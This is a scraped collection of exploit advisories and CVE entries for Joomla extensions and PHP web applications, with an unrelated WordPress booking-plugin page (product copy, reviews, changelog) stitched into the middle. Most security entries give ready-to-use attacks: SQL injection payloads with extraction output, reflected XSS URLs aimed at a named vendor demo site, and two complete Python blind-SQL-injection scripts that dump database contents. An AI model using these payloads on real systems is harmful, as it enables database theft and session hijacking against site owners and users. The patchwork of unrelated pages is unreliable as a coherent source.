Joomla MyMuse extension version 4.3.0 suffers from a remote SQL injection vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Gordon Fisch - joomlamymuse.com                                            ││  Software : MyMuse 4.3.0 Extension for Joomla                                          ││  Vuln Type: SQL Injection                                                              ││  Method   : GET                                                                        ││  Impact   : Database Access                                                            ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Typically used for remotely exploitable vulnerabilities that can lead to              ││  system compromise                                                                     ││                                                                                        ││                                                                                        ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /index.php/en/mymuse-views/list-of-tracks?filter_alpha=AGET parameter 'filter_alpha' is vulnerable---Parameter: filter_alpha (GET)    Type: boolean-based blind    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)    Payload: filter_alpha=A%' AND MAKE_SET(5052=5052,3360) AND 'xQKG%'='xQKG&filter_order=a.title ASC&limit=10&start=10    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: filter_alpha=A%' AND EXTRACTVALUE(2078,CONCAT(0x5c,0x716a6b7671,(SELECT (ELT(2078=2078,1))),0x71627a7671)) AND 'QXSg%'='QXSg&filter_order=a.title ASC&limit=10&start=10    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: filter_alpha=A%' AND (SELECT 5976 FROM (SELECT(SLEEP(5)))vLkv) AND 'tLCw%'='tLCw&filter_order=a.title ASC&limit=10&start=10---[+] Starting the Attack[INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL >= 5.1[INFO] fetching current databaseINFO] retrieved: '*********'current database: ''*********''[-] Done

Joomla MyMuse 4.3.0 SQL Injection

Joomla JS Jobs Pro extension version 1.3.6 suffers from a remote SQL injection vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Joom Sky - joomsky.com                                                     ││  Software : JS Jobs Pro 1.3.6 JobPortal for Joomla                                     ││  Vuln Type: SQL Injection                                                              ││  Method   : POST                                                                       ││  Impact   : Database Access                                                            ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Typically used for remotely exploitable vulnerabilities that can lead to              ││  system compromise                                                                     ││                                                                                        ││                                                                                        ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /js-jobs/jm/pro/index.php/employer-control-panel/resume-search-resultsPOST parameter 'nationality' is vulnerable---Parameter: nationality (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind - Parameter replace    Payload: title=&name=&nationality=(CASE WHEN (5462=5462) THEN SLEEP(5) ELSE 5462 END)&gender=&jobcategory=&jobsubcategory=&jobtype=&currency=&jobsalaryrange=&heighestfinisheducation=&experiencemin=&experiencemax=&keywords=&submit_app=Resume Search&isresumesearch=1&view=resume&layout=resume_searchresults&uid=0&option=com_jsjobs&task11=view---[+] Starting the Attack[INFO] the back-end DBMS is MySQLweb application technology: LiteSpeedback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[INFO] fetching current databasecurrent database: 'demjomsk_jmjsjobs'[-] Done

Joomla JS Jobs Pro 1.3.6 SQL Injection

Joomla jMarket extension version 5.15 suffers from a cross site scripting vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                      [ Exploits ]                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : extensions.joomla.org                                                      │  
│  Vendor   : Joobi                                                                      │  
│  Software : jMarket 5.15 Multi-Vendor Shopping Cart for Joomla                         │  
│  Vuln Type: Reflected XSS                                                              │  
│  Method   : GET                                                                        │  
│  Impact   : Manipulate the content of the site                                         │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│  Release Notes:                                                                        │  
│  ═════════════                                                                         │  
│  The attacker can send to victim a link containing a malicious URL in an email or      │  
│  instant message can perform a wide variety of actions, such as stealing the victim's  │  
│  session token or login credentials                                                    │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   

         CryptoJob (Twitter) twitter.com/CryptozJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2022                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

GET parameter 'controller' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-resultsqmzro%22onmouseover=%22alert(1)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22rqo95my69wy

GET parameter 'trucs%5Bx%5D%5Bsearch%5D' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=gx3vt%20onfocus%3dalert(1)%20autofocus%3d%20itkrzsug7w5&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

GET parameter 'vWjx' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=home&wajx=1&wmjx=1&tmpl=component&type=raw&limitstartw44_a45a2eb907d344c4d11b95b39a363661=20&vWjx=sabif%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20ax650sfkaze&vWdjx=44&fRmjx=wf_catalog_results_catalog_search_results&trucs%5Bx%5D%5Bsearch%5D=Search...&choicesorting=newest&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&limitstartw44_a45a2eb907d344c4d11b95b39a363661=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWw%3D

GET parameter 'Itemid' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=is9fk%20onfocus%3dalert(1)%20autofocus%3d%20f7adumy8lgl&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

GET parameter 'trucs%5B182%5D%5Bpid%5D' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=ugb9n%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20zn67rnvkbhb&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

[-] Done

Joomla jMarket 5.15 Cross Site Scripting

Dairy Farm Shop Management System 1.0 is vulnerable to SQL Injection via bwdate-report-ds.php file.

vendor：https://phpgurukul.com/

download link：https://phpgurukul.com/?smd\_process\_download=1&download\_id=10924

Vulnerability trigger parameter: $cname

The process of vulnerability discovery is as follows：

You can see in the source code that the '$cname' in the php file is likely to be injected. Then you can judge from the following if else statement that this variable can splice malicious code, and you can perform blind injection.

POC:

import requests
import time
 
url \= "http://localhost/DFScms/dfsms/bwdate-report-ds.php"
flag \= ''
 
 
def payload(i, j):
    startTime\=time.time()
    \# 数据库名字
    sql \= "companyname=-1'and if(ascii(substr(database(),%d,1))>%d,sleep(3),-1)and'1=1&submit="%(i,j)
    \# 表名
    #sql = "id = if(ascii(substr((select group\_concat(table\_name) from information\_schema.columns where table\_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    \# 列名
    #sql = "id = if(ascii(substr((select group\_concat(column\_name) from information\_schema.columns where table\_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    \# 查询flag
    #sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
 
    headers \= {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "PHPSESSID=iv4ujtg89cbg68hdmaqb4bbkl7"
    }
 
    r \= requests.post(url\=url, headers\=headers, data\=sql, timeout\=15, verify\=False)
    \# print (r.url)
    if time.time()\-startTime\>2:
        res \= 1
    else:
        res \= 0
    return res
 
 
def exp():
    global flag
    for i in range(1, 200):
        low \= 31
        high \= 127
        while low <= high:
            mid \= (low + high) // 2
            res \= payload(i, mid)
            if res:
                low \= mid + 1
            else:
                high \= mid \- 1
        f \= int((low + high + 1)) // 2
        if (f \== 127 or f \== 31):
            break
        \# print (f)
        flag += chr(f)
        print(flag)
 
 
exp()

The database name was exploded

CVE-2022-40943: CVE/bwdate-report-ds-sql(CVE-2022-40943).md at main · Qrayyy/CVE

Insecure direct object references (IDOR) vulnerability in ExpressTech Quiz And Survey Master plugin <= 7.3.4 at WordPress allows attackers to change the content of the quiz.

CVE-2021-36865: Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress

Dairy Farm Shop Management System 1.0 is vulnerable to SQL Injection via sales-report-ds.php file.

**1.首先可以在源码中看到sales-report-ds.php文件中的'$cname'存在注入的可能，再根据后面的if-else语句进行判断得知该变量能拼接恶意代码，可以进行盲注。**

  

**2.漏洞验证代码如下：**

    import requests
    import time
     
    url = "http://localhost/DFScms/dfsms/sales-report-ds.php"
    flag = ''
     
     
    def payload(i, j):
        startTime=time.time()
        # 数据库名字
        sql = "companyname=-1'and if(ascii(substr(database(),%d,1))>%d,sleep(3),-1)and'1=1&submit="%(i,j)
        # 表名
        #sql = "id = if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 列名
        #sql = "id = if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 查询flag
        #sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": "PHPSESSID=iv4ujtg89cbg68hdmaqb4bbkl7"
        }
    
        r = requests.post(url=url, headers=headers, data=sql, timeout=15, verify=False)
        # print (r.url)
        if time.time()-startTime>2:
            res = 1
        else:
            res = 0
        return res
     
     
    def exp():
        global flag
        for i in range(1, 200):
            low = 31
            high = 127
            while low <= high:
                mid = (low + high) // 2
                res = payload(i, mid)
                if res:
                    low = mid + 1
                else:
                    high = mid - 1
            f = int((low + high + 1)) // 2
            if (f == 127 or f == 31):
                break
            # print (f)
            flag += chr(f)
            print(flag)
     
    
    exp()
    

**3.运行poc，下图爆出了数据库名**

 最后一次更新于2022-09-29

CVE-2022-40944: Dairy Farm Shop Management System中的sales-report-ds.php存在sql注入 - 在谷底也要开花

Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link in a malicious markdown file, via Joplin. This is possible because the application does not properly validate the schema/protocol of existing links in the markdown file before passing them to the 'shell.openExternal' function.

CVE-2022-40277: GitHub - laurent22/joplin: Joplin - an open source note taking and to-do application with synchronisation capabilities for Windows, macOS, Linux, Android and iOS.

Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability in Booking Ultra Pro plugin <= 1.1.4 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

Booking Ultra Pro offers a great suite of features that will help you manage your online appointments 24/7 whether you are a large educational institution scheduling thousands of students or a massage therapists with a part-time practice.

Booking Ultra Pro is a WordPress appointment scheduling plugin that allows your customers to book appointments for your services directly from your website giving your customers a seamless booking experience. The unique 4 steps booking process will help you to attract new customers and generate repeat business from existing ones. All customer details are stored so you can run promotions and market directly to them.

Check out the Standard Appointments Form for more information!

Check out the Staff List Page.  
Check out the Minimal Booking Form Layout.  
Check out the Shopping Cart.

This Appointments Plugin for WordPress is an inspired scheduling plugin that puts the power of booking into your clients’ hands while giving yourself and your team individual accounts to manage your own services, calendars, rates, and much more. Whether your business is already booming or you’re trying to grow, this WordPress plugin can help you. With a variety of packages offered to fit your business’s needs, Booking Ultra Pro eliminates the hassle of personally scheduling clients and increases customer satisfaction by offering 24/7 online appointment booking right at their fingertips.

This plugin helps you to manage appointments by giving your staff members their own profile and access without giving them access to your WordPress Dashboard. This simplifies the appointment process and presents a good first impression to your clients. From the Staff Backend and Profile feature, your staff is able to manage breaks, holidays, schedules, their services, appointments, rates, public profile, and even the ability to connect to Google calendar. The best part? Booking Ultra Pro is easy to use and CUSTOMIZABLE, giving your employees supervised freedom. Customize your text and color, booking form layouts, hide or add staff, manage multiple locations, and your shopping cart!

In addition to the Staffing Backend and Profile, a variety of add-ons such as group booking functions, mobile payment options for clients, appointment notes, and much more are available to fit your needs. Plus, a clean, minimal theme will greet your customer’s and provide them with a functional, maintained environment to complete their bookings. They will also have the ability to use the shopping cart feature to purchase multiple services at once, making it just that much easier to increase business.

**So, what makes Booking Ultra Pro the superior WordPress plugin?**

Aside from a time and money saving service, Booking Ultra Pro offers you full support for any of your technical inquiries via our email service. This makes it easy for you to contact our team at any time. Plus, regular updates are offered. With customizable features and colors that are adaptable to any WordPress theme and optional add-ons for all your needs, we offer a product that can’t be beat. We strive to maintain a high level of customer satisfaction.

Plus, the Booking Ultra Pro plugin can be used for any and every type of services. Are you in big business? Maybe a lawyer or stock broker, Booking Ultra Pro is for you! Oh, you’re a doctor? That’s wonderful, and Booking Ultra Pro is for you! You own a Beauty Salon and want to make booking easier for your clients? BOOKING ULTRA PRO IS FOR YOU! Our packages give everyone just what they need.

Check out the demo site for more information!

**Documentation**

Read the getting started documentation after you install the plugin to get started.

**Self Service Bookings**

Allow customers to view availability and book directly from your own website.

**Instant Payment Processing**

Easily accept online bookings and credit card payments for your bookings. You can use either PayPal or Stripe to process your payments.

**Automate Billing & Invoices**

Instantly send customers customizable receipts and booking invoices.

**Key Features**

*   PayPal Integration
*   Client Online Appointment
*   Admin Online Appointment
*   Appointment Payments
*   Reschedule Appointments
*   Custom Fields
*   **Customizable Emails**
*   Company Working Hours & Days
*   Staff Working Hours & Days
*   Time Slots
*   Padding Time (after and/or before)
*   Unlimited Services
*   Admin Calendar
*   You may also check and compare all the features

**Reasons to upgrade?**

*   Staff & Client Account With Front-End Profile
*   **Google Calendar** Integration
*   **Powerful** Booking Form Customizer
*   Shopping Cart
*   **Stripe** Integration
*   Advanced Admin Booking Panel
*   **Unlimited** Providers / Staff Members
*   Appointment Notes
*   **Flexible Pricing** – Example: First person $100, second person $85, third person $60
*   Appointment Payments
*   Multiple Appointment Forms
*   Terms & Conditions
*   MailChimp
*   **AWeber**
*   SMTP Email Sending
*   Mandrill Email
*   **Multiple Locations**. Yes, you can manage appointments for example from Salon 1, Salon 2 etc etc.
*   **Group Bookings**. Allow clients to book services for several persons at once.

**Languages**

*   Italian
*   German. Thanks to Michael Stark
*   French

**🌐Our Plugins**

If you like this plugin, consider exploring our other plugins:

⏱️ **Quiz and Survey Master** – Best WordPress Quiz Plugin to create engaging quizzes, surveys, & exams using WordPress and convert your website into a lead generating machine.

☰ **Responsive Menu** – Best WordPress Menu Builder Plugin to create awesome and interactive mobile & desktop menus for WordPress websites.

📙 **Projectopia** – Project Management & Invoicing plugin for WordPress. Generate invoices, send quotes, generate leads, manage clients, provide support – all inside your WordPress website.

⚡ **InstaWP** – Launch a quick WordPress site with this sandbox service. Create New WordPress instance within a second.

🔒 **Hide My WP** – Hide your WordPress from bots, attackers & spammers. Hides all the known URLs, paths, plugins, themes which can reveal that you are using WP, also comes with an in-built firewall & trust network.

Ownership of this plugin has changed from UsersUltra to ExpressTech on 15th Nov 2021

1.  Upload booking-ultra-pro to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress

**Is there an online documentation?**

Yes, http://doc.bookingultrapro.com/

**Is the Staff Member allowed to manage their own appointments?**

Yes, check this link Staff & Client Account with Front-End Profile

**Do you offer free support?**

Yes, https://bookingultrapro.com/contact.php

**Why I’m not Getting Emails from Your WordPress Site?**

Please check this link http://doc.bookingultrapro.com/wordpress-is-not-sending-emails-issue/

**How To Allow Clients to Purchase Multiple Services on the Same Session?**

This feature is available only on premium versions. It allows your clients to purchase multiple services from either the same or different providers on one session. They can pay for all the services in bulk. The Booking Ultra Pro Shopping Cart is great for gyms and spa, for example the client can purchase a yoga session for the next four weeks in different time and different providers.

Please check this link http://doc.bookingultrapro.com/how-to-activate-the-shopping-cart-feature/

**Do you offer a PRO version?**

Yes, https://bookingultrapro.com/compare-packages.html

Once configured, it works pretty slick! We bought it but also got a refund after the register codes didn't take and had to track down the owners to get money back. This really could have been a great plugin. we are still using it, but manually copy and pasting to google calendar.. until we find something as easy to use and has all the options.

From their email to us: Note: In the new management, Ultimate license is valid for 1 year (before it was life time). This is done to make sure the business continue to exist and we provide continous improvements. With that kind of support, how long do they really expect to exist?

I had a problem with the plugin and got direct support. It was solved in about 10 minutes. So the support is great.

As a free plug-in, this is great. As a paid plug-in, not sure. I decided that I wanted the advanced functionality and bought a lifetime license. Right off the bat, I had a question and submitted a support ticket. It has been two weeks and they have not even marked the ticket as read. I tried finding another way to contact the support person/team, but the only way is a ticket (and the ticket is not answered). As a free plug-in, this is fine, as a premium plug-in, just be sure you won't have any questions. I don't even see a way to refund this plug-in within the refundable window without being able to talk to someone. Perhaps my problem/question is really easy to answer, but I don't know because of no response. Pro tip to all, don't buy any plug-in without ample contact methods available. -- Update Jan 2022. So, I never got any response from my support questions 6 months into having paid for the plug-in, but I did get an email from support because they were changing things. Apparently, I bought a LIFETIME license and they will only honor the LIFETIME license for 1 year. I paid excess money for a LIFETIME license, yet I am only getting a year. It would have more financial sense to have me only pay the 1 year fee. They totally just pocketed the extra money. I do not trust these people; I do no recommend you do either. It is not a safe idea to build your appointment based website off of a company that will not stick to it's word.

I just purchased the unlimited license for this plugin to use on my clients' websites and I have found it to be a great plugin. When I've contacted support, I got a response right away even before purchasing. The documentation is thorough - I was experiencing a display issue, but I found the solution in their documentation and it was super easy to fix. The plugin has a lot of features, and it has a nice front-end appearance that makes it easy for people to book appointments. After looking at a lot of the other options for booking appointments, this I felt was the best value in terms of cost and features. I seriously don't get why it has so many bad reviews, it has worked fine in my initial tests with the free version, and the paid version I've found to be working so far without any issues.

As many people have stated before, there is no support whatsoever for this plugin. It has a few bugs. There is no way to solve them without the support. I am sorry I have to give a 1 star but honestly it's been more than 2 months since my tickets have been submitted but still no answers. It's money poorly spent.

Read all 230 reviews

“Booking Ultra Pro Appointments Booking Calendar Plugin” is open source software. The following people have contributed to this plugin.

Contributors

*    ExpressTech Systems

**1.1.4 (08-09-2022)**

*   Improvement – Sendinblue Integration
*   Improvement – Improve Documentation
*   Fix – Resove Error \[bup\_staff\_list\]

**1.0.93 (09-20-2021)**

*   Improvement – We have implemented some tweaks on teh coding.
*   Fix – Compatibility issues with thirparty themes.

**1.0.92 (08-09-2021)**

*   Improvement – Updates for WP 5.8

**1.0.91 (06-22-2021)**

*   Fix – Google Calendar Update.
*   Improvement – Licencing Issue.

**1.0.90 (04-22-2021)**

*   Fix – Deleting Staff Members Issue.

**1.0.89 (04-20-2021)**

*   Fix – Deleting Category Issue.
*   Fix – Deleting Subcategory.
*   Fix – Editing User.
*   Fix – Deleting User.
*   Improvement – Improvements for WP Version 5.7.

**1.0.88 (02-07-2021)**

*   Improvement – Month View Improvement.
*   Improvement – Filter by Location.
*   Improvement – Coding Improvement.

**1.0.87 (01-29-2021)**

*   Improvement – Main Calendar on Admin Improved. Month View Issue.
*   Improvement – Filters issue.

**1.0.86 (01-08-2021)**

*   Improvement – Improvement on coding.
*   Improvement – Implement of new Calendar on Main Page at Admin Dashboard
*   Improvement – New Filters on Admin Dashboard

**1.0.85 (12-11-2020)**

*   Improvement – Localization, the plugin was not prepared for localization. Now, with the major update you will be able to translate the plugin online, right here https://translate.wordpress.org/projects/wp-plugins/booking-ultra-pro/. We had to change the textdomain, now it’s booking-ultra-pro. The translation files are in the languages folder, the prefix of the files MO and PO had changed to “booking-ultra-pro-“. This is a major change that might cause some issues with your current translations, however.. this can be resolved quikcly. Just make sure that your translation file has the mentioned prefix.
*   Improvement – class-phpmailer.php is deprecated since version 5.5.0! We have updated the coding.

**1.0.84 (10-07-2020)**

*   Improvement – PayPal IPN Update, please update ASAP

**1.0.83 (09-29-2020)**

*   Improvement – Important Updates PayPal payments issue. Update ASAP

**1.0.82 (09-28-2020)**

*   Improvement – Important Updates for new Version 5.5. Update ASAP
*   Improvement – Tweak on Staff Settings on the Admin section.

**1.0.81 (09-24-2020)**

*   Improvement – Important Updates for new Version 5.0. Update ASAP

**1.0.80 (06-24-2020)**

*   Improvement – Compatibily issues with new version of WP
*   Improvement – Code Improvement
*   Improvement – Improvement with new WP Editor

**1.0.79 (11-10-2019)**

*   Improvement – Compatibily issues with WP 5.3

**1.0.78 (04-23-2019)**

*   Improvement – Issue with Start time dropbox fixed.
*   New Feature – Private Services available only for admin.

**1.0.77 (01-19-2019)**

*   Improvement – WordPress 5.0 tweaks.

**1.0.76 (11-20-2018)**

*   Improvement – Important update on Google Calendar Feature. Full phone number with country prefix is displayed now.

**1.0.75 (11-06-2018)**

*   Improvement – New Module to clean up the database with inconsistent appointment details has been implemented.
*   Improvement – AWeber API integration update. Now. APP ID is not required anymore.
*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change the background color of the user’s profile has been implemented on the staff tab.

**1.0.74 (09-22-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.73 (09-14-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.72 (09-09-2018)**

*   Improvement – SMS Feature improved. Now, the option to auto-detect the visitor’s location is optional. You can activate or deactivate the phone number prefix feature on BUP Settings.
*   Improvement – CSS styles improvement.
*   Improvement – Minor fixes issue.
*   Improvement – Authorize API update.

**1.0.71 (06-26-2018)**

*   Improvement – CSS styles conflict with third-party plugins. We’ve improved the checkout process.
*   Improvement – International cel number issue. Now, it’s displayed in the Google Calendar.

**1.0.70 (04-10-2018)**

*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change more labels on the customizer.
*   New Feature – **Personal, Professional & Ultimate versions only**. SMS Reminders.
*   New Feature – **Personal, Professional & Ultimate versions only**. Change the Background color of the staff list. Check the tutorial http://doc.bookingultrapro.com/how-to-change-the-default-background-color-of-the-staff-list/
*   Improvement – CSS styles
*   Improvement – Date Picker JS conflict on custom fields
*   Improvement – Setting to remove the “Last name” from the booking form at the step 3.
*   Bug Fix – Issue with “1 time slot” translation.

**1.0.69 (10-24-2017)**

*   Improvement – IMPORTANT. Update the pluign ASAP, there was an issue with the cancellation link sending many emails. You have to update the plugin ASAP. We’re sorry about the two consecutive versions, we just try to offer a fast service when an issue is confirmed. Thank you for your understanding.

CVE-2021-36855: Booking Ultra Pro Appointments Booking Calendar Plugin

Billing System Project v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /phpinventory/editcategory.php.

Permalink

Cannot retrieve contributors at this time

**Billing System Project v1.0 by mayuri\_k has SQL injection**

BUG\_Author: Mogui Dong

Login account: mayurik/rootadmin (Super Admin account)

vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /phpinventory/editcategory.php?id=

Vulnerability location: /phpinventory/editcategory.php?id=, id

dbname = store1,length=6

\[+\] Payload: /phpinventory/editcategory.php?id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /phpinventory/editcategory.php?id\=\-1%27%20union%20select%201,database(),3,4\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-41440: bug_report/SQLi-1.md at main · chi645190147/bug_report

Billing System Project v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /phpinventory/edituser.php.

Permalink

**Billing System Project v1.0 by mayuri\_k has SQL injection**

BUG\_Author: Mogui Dong

Login account: mayurik/rootadmin (Super Admin account)

vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /phpinventory/edituser.php?id=

